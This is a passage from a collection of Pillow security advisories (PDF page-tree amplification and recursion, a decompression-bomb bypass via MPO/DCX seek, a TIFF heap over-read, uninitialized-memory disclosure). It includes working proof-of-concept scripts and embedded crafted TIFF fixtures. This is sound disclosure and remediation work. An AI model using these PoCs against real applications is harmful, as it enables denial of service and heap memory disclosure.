    result.extend(b"0000000000 65535 f \n")
    for offset in offsets[1:]:
        result.extend(f"{offset:010d} 00000 n \n".encode("ascii"))
    result.extend(
        f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\n"
        f"startxref\n{xref_offset}\n%%EOF\n".encode("ascii")
    )
    return bytes(result)

def run_case(depth: int, fanout: int) -> dict[str, object]:
    payload = make_page_tree_pdf(depth, fanout)
    expected_refs = fanout ** (depth + 1)

    start = time.monotonic()
    with PdfParser.PdfParser(buf=payload) as pdf:
        observed_refs = len(pdf.pages)
        distinct_refs = len(set(pdf.pages))
    parse_seconds = time.monotonic() - start

    output = io.BytesIO(payload)
    start = time.monotonic()
    Image.new("L", (1, 1), 0).save(output, format="PDF", append=True)
    append_seconds = time.monotonic() - start

    return {
        "fanout": fanout,
        "depth": depth,
        "input_bytes": len(payload),
        "expected_refs": expected_refs,
        "observed_refs": observed_refs,
        "distinct_refs": distinct_refs,
        "parse_seconds": round(parse_seconds, 6),
        "append_seconds": round(append_seconds, 6),
        "output_bytes_after_append": len(output.getvalue()),
    }

def main() -> int:
    depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12
    if not 0 <= depth <= 16:
        raise SystemExit("depth must be between 0 and 16")

    linear = run_case(depth, fanout=1)
    shared_dag = run_case(depth, fanout=2)

    checks = {
        "linear_control_stays_one_page": linear["observed_refs"] == 1,
        "candidate_expands_to_expected_duplicate_refs": shared_dag["observed_refs"]
        == shared_dag["expected_refs"],
        "candidate_has_one_distinct_page_ref": shared_dag["distinct_refs"] == 1,
        "candidate_input_is_compact": shared_dag["input_bytes"] <= 2048,
        "append_path_processed_both_inputs": linear["output_bytes_after_append"]
        > linear["input_bytes"]
        and shared_dag["output_bytes_after_append"] > shared_dag["input_bytes"],
    }
    result = {
        "pillow_version": PIL.__version__,
        "pillow_file": PIL.__file__,
        "depth": depth,
        "linear_control": linear,
        "shared_dag_candidate": shared_dag,
        "checks": checks,
        "overall_passed": all(checks.values()),
    }
    print(json.dumps(result, indent=2, sort_keys=True))
    return 0 if result["overall_passed"] else 1

if __name__ == "__main__":
    raise SystemExit(main())

Run:

python3 poc_pillow_pdf_page_tree_dag.py

Expected result:

"overall_passed": true
"linear_control": observed_refs == 1
"shared_dag_candidate": input_bytes == 1410
"shared_dag_candidate": observed_refs == 8192
"shared_dag_candidate": distinct_refs == 1

Observed on current main / 13.0.0.dev0:

1410-byte input -> 8192 observed page refs -> 9.563007s append

Observed on Pillow 12.3.0:

Pillow 12.3.0: 1410-byte input -> 8192 observed page refs -> 9.670602s append

For comparison, the linear control in the same harness uses a comparable-depth page tree with fanout=1; it produces one page reference and completed append in about 0.016 to 0.028 seconds in my validation runs.

Impact

This is an availability issue in Pillow's PDF append handling. Applications are impacted if untrusted users can supply an existing PDF that the application later appends to, watermarks, or exports using Pillow's Image.save(..., format="PDF", append=True) route.

The demonstrated primitive is deterministic CPU/resource amplification from compact attacker-controlled PDF bytes. The proof does not demonstrate confidentiality impact, integrity impact, memory corruption, filesystem access, network access, or impact through ordinary Image.open().

Requires attacker-influenced existing PDF processed by Pillow's documented PDF append path; not ordinary Image.open().

This should not be treated as just an unexpected Python exception. In the tested affected builds, the malformed PDF is accepted and processed to normal completion after the expensive expansion.

Remediation

Reject duplicate and cyclic page-tree references before constructing self.pages and self.orig_pages.

One possible fix is to pass traversal state through linearize_page_tree():

  • Track active /Pages references to reject cycles.
  • Track seen page-tree and page indirect references to reject duplicate references.
  • Raise PdfFormatError when the page tree is not an acyclic tree of unique indirect references.

Suggested regression tests:

  • A small PDF whose /Kids array repeats the same child /Pages reference should raise PdfFormatError quickly when used through Image.save(..., format="PDF", append=True).
  • A normal nested linear page tree should continue to append successfully.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)

BIT-pillow-2026-112895 / CVE-2026-112895 / GHSA-p4wg-p73j-c528

More information

Details

Summary

When an application appends to an existing PDF with Image.save(..., format="PDF", append=True), Pillow parses that file with PdfParser. Two recursive parsers have no effective bound. linearize_page_tree follows /Kids with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. read_prev_trailer rejects only an exactly repeated /Prev offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.

Details

linearize_page_tree recurses on /Kids with no cycle or depth check:

  • src/PIL/PdfParser.py:1078-1092

read_prev_trailer catches only a repeated offset:

  • src/PIL/PdfParser.py:697-720 (the processed_offsets check at :714-718 is the CVE-2026-42310 fix; a unique-offset chain slips past it)
PoC
from PIL import PdfParser

##### A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).
objs = {
    1: b"<< /Type /Catalog /Pages 2 0 R >>",
    2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
    3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
    off[oid] = len(buf)
    buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)

PdfParser.PdfParser("poc.pdf", mode="r+b")   # append=True parses the existing file the same way

Run it:

$ python 11_poc.py
RecursionError: maximum recursion depth exceeded

The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) /Kids tree instead produces super-linear CPU and memory work, and a long unique-offset /Prev chain triggers the trailer-side recursion.

Impact

A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising RecursionError. The fix is a visited set plus a depth limit in both parsers.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (MpoImageFile.seek / DcxImageFile.seek)

BIT-pillow-2026-96636 / CVE-2026-96636 / GHSA-p8hx-v2p6-rp84 / PYSEC-2026-4337

More information

Details

Summary

Pillow's decompression-bomb protection (Image._decompression_bomb_check, gated by Image.MAX_IMAGE_PIXELS) is enforced only on the first frame, inside Image.open(). For multi-frame formats, seek() re-parses the target frame's header and resets self._size. GifImagePlugin and TiffImagePlugin re-run the bomb check on seek(), but MpoImageFile.seek() and DcxImageFile.seek() do not. A crafted MPO or DCX whose first frame is tiny (passing the check) but whose later frame declares enormous dimensions therefore bypasses the protection: loading that frame decodes an over-limit image and commits large amounts of memory — a denial of service (memory exhaustion / OOM).

Same class as the recently assigned CVE-2026-55379 (BdfFontFile), CVE-2026-55380 (GdImageFile) and CVE-2026-40192 (FITS GZIP).

Details

Image.open() → _open_core() runs _decompression_bomb_check(im.size) once, on the frame present at open time. Both vulnerable seek() methods re-parse a new frame and set a new self._size without re-checking:

  • PIL/MpoImagePlugin.py, MpoImageFile.seek(): calls JpegImagePlugin.JpegImageFile._open(self) (which sets self._size from the frame's JPEG SOF) and rebuilds self.tile, with no Image._decompression_bomb_check(self.size).
  • PIL/DcxImagePlugin.py, DcxImageFile.seek(): calls PcxImageFile._open(self) (which sets self._size from the page's PCX header), with no check.

Confirmed present in 12.3.0 (latest release) and on main (13.0.0.dev0). Compare GifImagePlugin._seek and TiffImagePlugin, which call _decompression_bomb_check correctly on seek.

PoC

Self-contained; the victim uses default MAX_IMAGE_PIXELS:

import io
from PIL import Image

##### attacker builds the file (guard disabled only to CREATE the oversized frame)
Image.MAX_IMAGE_PIXELS = None
small = Image.new("RGB", (8, 8))
big   = Image.new("RGB", (14000, 14000), (120, 60, 30))   # 196,000,000 px > error threshold
buf = io.BytesIO()
small.save(buf, format="MPO", save_all=True, append_images=[big])
data = buf.getvalue()                                      # ~3 MB
Image.MAX_IMAGE_PIXELS = int(1024 * 1024 * 1024 // 4 // 3) # restore default

##### victim (default limits)
im = Image.open(io.BytesIO(data))   # frame 0 (8x8) passes the bomb check
im.seek(1)                          # frame 1 (14000x14000) -> NOT re-checked  <-- bug
im.load()                           # decodes the over-limit image, commits memory
print("loaded over-limit frame:", im.size)

Measured on Pillow 12.3.0 (default limit 89,478,485 px; error threshold 178,956,970 px):

Vector File size Frame 1 Peak RSS
MPO (JPEG) ~3.0 MB 14000×14000 (196 Mpx) ~763 MB
DCX (PCX) ~6.2 MB 14000×14000 (196 Mpx) ~200 MB
Control: same image standalone — 196 Mpx DecompressionBombError (correctly blocked)

The DCX vector (0x3ADE68B1 magic + offset directory + two PCX pages) behaves identically via DcxImageFile.seek(). Scaling frame 1 toward JPEG's ~65500×65500 maximum drives multi-GB commitments from a small file, reliably OOM-killing the process.

Impact

Denial of service (memory exhaustion / OOM) — CWE-400 / CWE-1284, a bypass of Pillow's documented decompression-bomb mitigation. seek() + load() is the normal way to iterate frames (e.g. PIL.ImageSequence.Iterator, thumbnailers, converters, 3D-photo handlers). Because MPO is auto-detected from a JPEG carrying MPF metadata, a file served with a .jpg extension can be opened as MPO, so any application that iterates frames of untrusted images is exposed.

Suggested fix

Re-run the check after seek() re-parses a frame, mirroring GIF/TIFF:


##### PIL/MpoImagePlugin.py — end of MpoImageFile.seek()
self.tile = [ImageFile._Tile("jpeg", (0, 0) + self.size, self.offset, self.tile[0][-1])]
Image._decompression_bomb_check(self.size)   # add
self.__frame = frame

##### PIL/DcxImagePlugin.py — end of DcxImageFile.seek()
PcxImageFile._open(self)
Image._decompression_bomb_check(self.size)   # add

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: TIFF encoder ColorMap plane-size mismatch causes a heap out-of-bounds read

BIT-pillow-2026-112896 / CVE-2026-112896 / GHSA-pchr-8j38-3x4p / PYSEC-2026-4334

More information

Details

Summary

A small attacker-supplied TIFF can be opened and loaded normally, then reach an out-of-bounds read when an application saves it back to TIFF with retained metadata. The fixed reproducer is a 1×1, 16-bit grayscale, PackBits-compressed TIFF containing tag 320 (ColorMap) with 768 SHORT values: three zero-filled planes of 256 entries each. No Python object is forged and no metadata is injected after loading.

Pillow's TIFF encoder allocates 768 × 2 = 1536 bytes, then passes three plane pointers separated by 256 SHORT entries to libtiff. With BitsPerSample = 16, libtiff instead expects 65536 SHORT values per plane and attempts a 131072-byte read from a plane pointer. Existing ASAN observations identify a heap-buffer-overflow READ crossing the 1536-byte allocation made in PyImaging_LibTiffEncoderNew.

The malformed ColorMap need not be a valid palette for this grayscale image. The issue is that accepted metadata is forwarded on save without reconciling the fixed plane extent with the effective sample depth. Opening/loading alone is not the demonstrated fault; the encoder path is required.

Impact and prerequisites

An application must accept the input, retain the relevant TIFF metadata, and invoke the libtiff-backed TIFF save path. The observed consequence is an out-of-bounds read and ASAN termination. Process-memory exposure during encoding is a potential consequence, not demonstrated by extracting arbitrary heap contents in this report. No arbitrary read primitive, full memory-disclosure chain, code execution, address-space bypass, or cross-process effect is claimed.

The 131072-byte attempted copy is not the number of bytes proven disclosed. This report does not run a synthetic-canary serializer or collect an unsanitized encoded output.

Tested environment and limits of the evidence

The existing observations were recorded on August 30, 2026, with CPython 3.11.8 on macOS ARM64, using the unmodified official Pillow 12.3.0 wheel and its bundled libtiff 4.7.1:

  • Wheel: pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl
  • Wheel size: 4785266 bytes
  • Wheel SHA-256: 37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6
  • Pillow source revision: bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d
  • Bundled libtiff SHA-256: e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1

Apple's ASAN runtime was injected at process startup. This is not an ASAN-rebuilt Pillow wheel; allocation/memcpy interception detects the reported boundary violation, but the wheel's native instructions are not comprehensively instrumented.

Only this concrete full-package environment is established here. No affected-version range, current development-branch result, or patched release is asserted. Severity is Unknown; no CVSS score is proposed.

Separate earlier evidence reached the original Pillow 8.0.1 encoder constructor compiled as a component against a modern Python/libtiff environment. That was not a complete Pillow 8.0.1 installation and does not establish the historical package's full runtime behavior. It is not part of this reproducer or an affected-version range.

Observed evidence and controls

The earlier integration harness performed the natural sequence Image.open(BytesIO(input)), image.load(), then image.save(BytesIO(), format="TIFF"), without replacing the image's metadata. Each case was recorded three times:

Original fixture Bytes Recorded result
colormap16 1685 Loaded as I;16; save terminated with ASAN exit 86, READ of size 131072 crossing a 1536-byte heap region (3/3).
colormap8 1684 Same fixed ColorMap, but 8-bit samples; save succeeded and retained SHORT/count 768 (3/3).
colormap_absent 137 Same 16-bit geometry without ColorMap; save succeeded (3/3).

Address-free summary of the recorded native diagnostic:

AddressSanitizer: heap-buffer-overflow
READ of size 131072
0 bytes after 1536-byte region
Copy path: memcpy -> _TIFFmemcpy -> setByteArray -> _TIFFsetShortArrayExt
           -> _TIFFVSetField -> TIFFVSetField -> ImagingLibTiffSetField
           -> PyImaging_LibTiffEncoderNew
Allocation: calloc -> PyImaging_LibTiffEncoderNew

Input SHA-256 values (also enforced inside the script):

  • colormap16: 5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d
  • colormap8: fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c
  • colormap_absent: bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556
Root cause and source references

The reported boundary is Pillow's construction of a fixed-sized array for a native API whose required size depends on metadata; this does not establish a standalone libtiff defect for a correctly sized caller buffer.

Prior art and disclosure scope

Pillow PR #​5148, merged December 28, 2020, is related TIFF metadata prior art, but its archived diff replaces a short-lived stack field-name pointer with the persistent literal "CustomField". That is a different field-name-lifetime fix, not this plane-size mismatch. The reviewed material does not establish an exact prior public report or fix for this root, and novelty is not asserted. This specific report remains NOT_SENT; association with other observations is not a prior disclosure of it.

Reproduction instructions

Use an already reviewed, existing installation of the exact wheel above, an existing compatible macOS ARM64 CPython 3.11 interpreter, and an existing compatible Apple ASAN runtime. --package-path is the absolute directory containing PIL, not the PIL directory itself. The script does not install, download, build, patch, or submit anything. It checks selected key package files against the original installation's hashes and checks the loaded package/version; these checks are not a full installation attestation.

Save the complete Python block below as reproduce.py and run:

python3.11 -I -S -B reproduce.py \
  --package-path /absolute/path/to/reviewed/site-packages \
  --asan-runtime /absolute/path/to/reviewed/libclang_rt.asan_osx_dynamic.dylib

Both arguments are required. The runtime must be loaded at child startup, not by late dlopen. Each child resolves __asan_init, __asan_address_is_poisoned, and __asan_region_is_poisoned in its actual process symbol table before importing Pillow or opening a fixture. Merely setting DYLD_INSERT_LIBRARIES is not accepted as proof of ASAN availability. A missing symbol or package mismatch prevents the operation.

Each of the three cases runs once in a separate child with a 30-second wall limit, 10-second hard CPU limit, core dumps disabled, and 1 MiB regular-file-size limit. The parent supplies a clean allowlisted environment, isolated Python startup (-I -S -B), an empty temporary working directory, no stdin, and a 128 KiB combined pipe-output cap. Timeout/output-cap handling kills the child's process group. These limits are containment measures, not a security sandbox. No TIFF is written to disk. Temporary directories are removed; raw diagnostics are never forwarded or persisted.

The compressed/base64 constants below are the unchanged original benign TIFF fixtures, with decompressed size and SHA-256 checks. There are no external fixture dependencies. The standalone script supplied with this description is byte-for-byte the same as this block.

Separate August 31, 2026 inline validation: the exact embedded standalone script passed all three fixed cases: one ASan READ of 131,072 bytes crossing a 1,536-byte allocation and two passing controls. Child guards and limits passed, with no timeout. This is additional bounded evidence, separate from earlier runs; no new build, install, full historical chain or older-version integration replay was performed.

Expected results from the standalone script

Cases run in order: colormap8, colormap_absent, colormap16. Every printed line should have guard_passed: true, within_limits: true, and expected_observation: true. The first two require successful saves and the expected retained sample-depth/ColorMap fields. The last requires ASAN exit 86 and the specific READ/extent/stack signatures, not merely any crash. Only the two controls inspect encoded metadata; the unsafe case never exports an encoded TIFF.

The parent exits 0 only if all three expectations match; 1 means a case did not match (including guard failure or a changed ASAN diagnostic), and 2 means parent setup failed. A failed guard, timeout, unrelated crash, or missing diagnostic is inconclusive, not evidence that the defect is absent. Do not bypass the ASAN guard to obtain an output TIFF.

Complete standalone reproducer
import argparse
import base64
import ctypes
import hashlib
import io
import json
import os
from pathlib import Path
import platform
import resource
import selectors
import struct
import subprocess
import sys
import tempfile
import time
import zlib

FIXTURES = {'colormap8': [1684,
               'fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c',
               'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymQaqYoWzWBgYGNigbhAWh6iexMTCIIomLIZkjDmUzAbEMkhoHIJsBiCYxjIJRMApGwSgY2QAAPu0DiA=='],
 'colormap_absent': [137,
                     'bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556',
                     'eNrz9NRi4GBgYOBiYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqr4NiEWRxMWQzBGHspmBWAZJDQOEBgDj8wKm'],
 'colormap16': [1685,
                '5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d',
                'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqn4SGwODKJK4GJI54lA2MxDLIKlxALJBgpMYRsEoGAWjYBSMZACsEwB78wOS']}
PACKAGE_PINS = {'PIL/ImageFile.py': '983c4f35e0c51046d4c636998ec77000cd2da208870a03b205e104cd0b2df629',
 'PIL/_version.py': 'fe7d75d4019326aca24ae57d4ab190cd62ba1225b175051119cd61cd87e42b1d',
 'PIL/__init__.py': '7361b6ad3878589affe5956e4a4da24d71398b0891fd3a8c15e9362217b4ca01',
 'PIL/features.py': '14f904863b416914aaa6480735876ec31885b7272ee0d8d92b010c5b1b5e98f5',
 'PIL/TiffTags.py': '766dea350424b9a2caab3513be794689403c2b7222cd038006f69cff08edb45d',
 'PIL/TiffImagePlugin.py': '440b2a3a80b280d18cda3fc70d9fd206e2fa44e9897c9550f70b51395047b273',
 'PIL/_imaging.cpython-311-darwin.so': '6d09b1fb925779fff32b5b8a4c348a42c201d350d0e0fd8cdc00410b6779e596',
 'PIL/Image.py': '04af3f2db7ffdd61e829fa7aa8f5481d394a0a4129a8fd8aa5b13908928fcd6d',
 'PIL/.dylibs/libtiff.6.dylib': 'e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1',
 'pillow-12.3.0.dist-info/WHEEL': 'de2586b77651a8bf1b7778c3609979713ebc901784a837fca80ed4969fc82e57',
 'pillow-12.3.0.dist-info/METADATA': '8fc07146cab33ef7582361dab6eac596d340b03ec648f18217da7894f73838c8'}
CASES = tuple(FIXTURES)
WALL_SECONDS = 30
FILE_LIMIT = 1024 * 1024
PIPE_LIMIT = 128 * 1024

def limits():
    resource.setrlimit(resource.RLIMIT_CORE, (0, 0))
    resource.setrlimit(resource.RLIMIT_CPU, (10, 10))
    resource.setrlimit(resource.RLIMIT_FSIZE, (FILE_LIMIT, FILE_LIMIT))

def fixture(case):
    size, expected_hash, encoded = FIXTURES[case]
    decoder = zlib.decompressobj()
    data = decoder.decompress(base64.b64decode(encoded, validate=True), size + 1)
    if (len(data) != size or not decoder.eof or decoder.unused_data
            or decoder.unconsumed_tail
            or hashlib.sha256(data).hexdigest() != expected_hash):
        raise ValueError("fixture integrity check failed")
    return data

def field(data, wanted):
    if len(data) < 8 or data[:4] not in (b"II*\0", b"MM\0*"):
        raise ValueError("not classic TIFF")
    endian = "<" if data[:2] == b"II" else ">"
    directory = struct.unpack_from(endian + "I", data, 4)[0]
    count = struct.unpack_from(endian + "H", data, directory)[0]
    if directory + 2 + count * 12 + 4 > len(data):
        raise ValueError("truncated directory")
    for number in range(count):
        offset = directory + 2 + number * 12
        tag, kind, length = struct.unpack_from(endian + "HHI", data, offset)
        if tag != wanted:
            continue
        size = {1: 1, 2: 1, 3: 2, 4: 4, 7: 1}[kind] * length
        start = offset + 8 if size <= 4 else struct.unpack_from(endian + "I", data, offset + 8)[0]
        if start + size > len(data):
            raise ValueError("truncated field")
        return kind, length, data[start:start + size], endian
    return None

def checked_image_module(package):
    if (sys.implementation.name != "cpython" or sys.version_info[:2] != (3, 11)
            or sys.platform != "darwin" or platform.machine() != "arm64"):
        raise RuntimeError("requires macOS ARM64 CPython 3.11")
    for relative, expected in PACKAGE_PINS.items():
        path = (package / relative).resolve(strict=True)
        if not path.is_relative_to(package) or hashlib.sha256(path.read_bytes()).hexdigest() != expected:
            raise RuntimeError("reviewed wheel file mismatch")
    process_symbols = ctypes.CDLL(None)
    for symbol in ("__asan_init", "__asan_address_is_poisoned", "__asan_region_is_poisoned"):
        getattr(process_symbols, symbol)
    sys.path.insert(0, str(package))
    from PIL import Image, features
    if (Image.__version__ != "12.3.0" or features.version("libtiff") != "4.7.1"
            or Path(Image.__file__).resolve() != package / "PIL/Image.py"
            or Path(Image.core.__file__).resolve() != package / "PIL/_imaging.cpython-311-darwin.so"):
        raise RuntimeError("unexpected Pillow or libtiff")
    return Image

def emit(descriptor, message):
    os.write(descriptor, (json.dumps(message, sort_keys=True) + "\n").encode("ascii"))

def child(case, package):
    descriptor = os.dup(1)
    with open(os.devnull, "wb") as quiet:
        os.dup2(quiet.fileno(), 1)
    try:
        image_module = checked_image_module(package)
        data = fixture(case)
        with image_module.open(io.BytesIO(data)) as image:
            image.load()
            if image.size != (1, 1) or image.info.get("compression") != "packbits":
                raise ValueError("unexpected input geometry")
            bits = 8 if case == "colormap8" else 16
            if image.tag_v2[258] != (bits,):
                raise ValueError("unexpected sample width")
            if case == "colormap_absent":
                if 320 in image.tag_v2:
                    raise ValueError("unexpected ColorMap")
            elif image.tag_v2[320] != (0,) * 768:
                raise ValueError("unexpected ColorMap planes")
            emit(descriptor, {"ready": True})
            with io.BytesIO() as output:
                image.save(output, format="TIFF")
                if case == "colormap16":
                    emit(descriptor, {"unsafe_save_returned": True})
                    return 1
                encoded = output.getvalue()
                saved_bits = field(encoded, 258)
                map_field = field(encoded, 320)
                bits_preserved = (saved_bits is not None and saved_bits[:2] == (3, 1)
                                  and struct.unpack(saved_bits[3] + "H", saved_bits[2])[0] == bits)
                map_preserved = (map_field is None if case == "colormap_absent"
                                 else map_field is not None and map_field[:2] == (3, 768)
                                 and map_field[2] == bytes(1536))
                emit(descriptor, {"control_passed": bool(bits_preserved and map_preserved)})
        return 0
    except Exception:
        emit(descriptor, {"child_failed": True})
        return 2
    finally:
        os.close(descriptor)

def run_case(case, package, runtime):
    with tempfile.TemporaryDirectory(prefix="pillow-check-") as temporary:
        environment = {
            "PATH": "/usr/bin:/bin:/usr/sbin:/sbin",
            "HOME": temporary,
            "TMPDIR": temporary,
            "LC_ALL": "C",
            "DYLD_INSERT_LIBRARIES": str(runtime),
            "ASAN_OPTIONS": "detect_leaks=0:halt_on_error=1:abort_on_error=0:exitcode=86:"
                            "disable_coredump=1:symbolize=1:malloc_fill_byte=165:"
                            "max_malloc_fill_size=1048576:log_path=stderr",
        }
        command = [sys.executable, "-I", "-S", "-B", str(Path(__file__).resolve()),
                   "--package-path", str(package), "--asan-runtime", str(runtime), "--child", case]
        output = bytearray()
        diagnostics = bytearray()
        deadline = time.monotonic() + WALL_SECONDS
        with subprocess.Popen(command, cwd=temporary, env=environment, stdin=subprocess.DEVNULL,
                              stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                              preexec_fn=limits, start_new_session=True) as process:
            bounded = True
            try:
                with selectors.DefaultSelector() as selector:
                    selector.register(process.stdout, selectors.EVENT_READ, output)
                    selector.register(process.stderr, selectors.EVENT_READ, diagnostics)
                    while selector.get_map():
                        remaining = deadline - time.monotonic()
                        if remaining <= 0:
                            raise TimeoutError
                        for key, events in selector.select(min(remaining, 0.25)):
                            chunk = os.read(key.fileobj.fileno(), 8192)
                            if not chunk:
                                selector.unregister(key.fileobj)
                            else:
                                key.data.extend(chunk)
                                if len(output) + len(diagnostics) > PIPE_LIMIT:
                                    raise BufferError
                    process.wait(timeout=max(0.001, deadline - time.monotonic()))
            except (TimeoutError, BufferError, subprocess.TimeoutExpired):
                bounded = False
                try:
                    os.killpg(process.pid, 9)
                except ProcessLookupError:
                    pass
                process.wait()
            status = process.returncode
        try:
            messages = [json.loads(line) for line in output.splitlines()]
        except (ValueError, UnicodeError):
            messages = []
        ready = bool(messages and messages[0] == {"ready": True})
        if case == "colormap16":
            observed = bool(bounded and ready and status == 86 and len(messages) == 1
                            and b"AddressSanitizer: heap-buffer-overflow" in diagnostics
                            and b"READ of size 131072" in diagnostics
                            and b"0 bytes after 1536-byte region" in diagnostics
                            and b"PyImaging_LibTiffEncoderNew" in diagnostics
                            and b"_TIFFmemcpy" in diagnostics)
        else:
            observed = bool(bounded and ready and status == 0
                            and messages == [{"ready": True}, {"control_passed": True}]
                            and b"AddressSanitizer:" not in diagnostics)
        output.clear()
        diagnostics.clear()
        return {"case": case, "expected_observation": observed, "guard_passed": ready,
                "within_limits": bounded}

def main():
    parser = argparse.ArgumentParser(description='Fixed ColorMap extent mismatch: controls first, ASAN-only trigger.')
    parser.add_argument("--package-path", required=True, type=Path,
                        help="reviewed existing installation root containing PIL")
    parser.add_argument("--asan-runtime", required=True, type=Path,
                        help="reviewed existing compatible ASAN dylib; never loaded late")
    parser.add_argument("--child", choices=CASES, help=argparse.SUPPRESS)
    arguments = parser.parse_args()
    if arguments.child:
        limits()
        return child(arguments.child, arguments.package_path.resolve())
    try:
        package = arguments.package_path.resolve(strict=True)
        runtime = arguments.asan_runtime.resolve(strict=True)
        if not package.is_dir() or not runtime.is_file():
            raise ValueError("invalid existing paths")
        for case in CASES:
            fixture(case)
        results = [run_case(case, package, runtime) for case in CASES]
    except Exception:
        print(json.dumps({"setup_failed": True}))
        return 2
    for result in results:
        print(json.dumps(result, sort_keys=True))
    return 0 if all(result["expected_observation"] for result in results) else 1

if __name__ == "__main__":
    raise SystemExit(main())

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: TiffDecode returns uninitialized memory as pixels for short JPEG strips

BIT-pillow-2026-112897 / CVE-2026-112897 / GHSA-q45j-58j2-45rg

More information

Details

============================================================================
TiffDecode returns uninitialized memory as pixels for short JPEG strips
Location: src/libImaging/TiffDecode.c:554  in _decodeStrip()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

Pillow hands back leftover process memory as image pixels when it opens a small crafted TIFF file. Anyone who can get an application to open their image, and can see something produced from its pixels (a thumbnail, a preview, a converted copy), can read heap memory that the process had previously used and freed. This works in the default configuration: opening and loading the 478-byte file succeeds with no error or warning, and every row below the first eight holds stale memory instead of picture content.

The bug is in _decodeStrip() in src/libImaging/TiffDecode.c, and _decodeTile() has the same shape. The function realloc()s state->buffer to TIFFStripSize() bytes without initialising it and calls TIFFReadEncodedStrip(). Whenever that call does not return -1, it copies all RowsPerStrip rows of the buffer into the image. libtiff's JPEG codec only warns when the JPEG embedded in a strip has fewer rows than the strip, and Pillow silences libtiff warnings. The codec decodes the rows that exist and still returns the full strip size, so the untouched remainder is copied out as pixels. libtiff's Group 4 fax codec behaves the same way for a stream that ends early.

The attached reproducer builds a 256×256 TIFF whose single strip or tile is a 256×8 JPEG. Before loading it, the script frees buffers filled with b"LEAK". It then finds 15,872 copies of LEAK in rows 8–255 of the decoded image (the same freed chunk was reused in 500 of 500 runs). Under glibc's MALLOC_PERTURB_, those rows are entirely the allocator's fill byte. A well-formed control file decodes correctly in both cases.

This is a read of uninitialised heap memory, not memory corruption. Each strip can disclose up to width × RowsPerStrip bytes, and what comes back depends on the allocator's state at the time. The strip path was introduced in e91b851fdc1c ("Add reading old-JPEG compressed TIFFs", first released in Pillow 6.0.0). The tile path has had the same pattern since f0436a4ddc95 (Pillow 5.3.0).

Details

src/libImaging/TiffDecode.c decodes compressed TIFFs through libtiff into a strip
(or tile) buffer that it realloc()s to TIFFStripSize() bytes and never initialises, and
then copies all RowsPerStrip rows of that buffer into the image whenever
TIFFReadEncodedStrip() does not return -1. libtiff's JPEG codec does not fail when the
JPEG stream inside a strip has fewer rows than the strip: it decodes the rows that exist
and returns the full strip size. The rows it did not write are whatever the heap held
before, and Pillow returns them as pixels.

A 478-byte file shows it: a classic little-endian TIFF, 256×256, BitsPerSample=8,
Compression=7, PhotometricInterpretation=1, RowsPerStrip=256, one strip whose data
is a baseline JPEG of 256×8 pixels (as written by Image.new("L",(256,8),200).save(…,"JPEG")).
Image.open(BytesIO(data)).load() succeeds with default settings (compressed TIFFs always
take the libtiff path). Rows 0–7 of the result are the JPEG content (value 200); the
remaining 63488 bytes of im.tobytes() are heap garbage: run under glibc's
MALLOC_PERTURB_=1 they are all 0xFE, under MALLOC_PERTURB_=170 all 0x55 (the
fresh-malloc fill byte), and in a process that has just freed buffers containing
b"LEAK" they contain 15872 copies of LEAK.

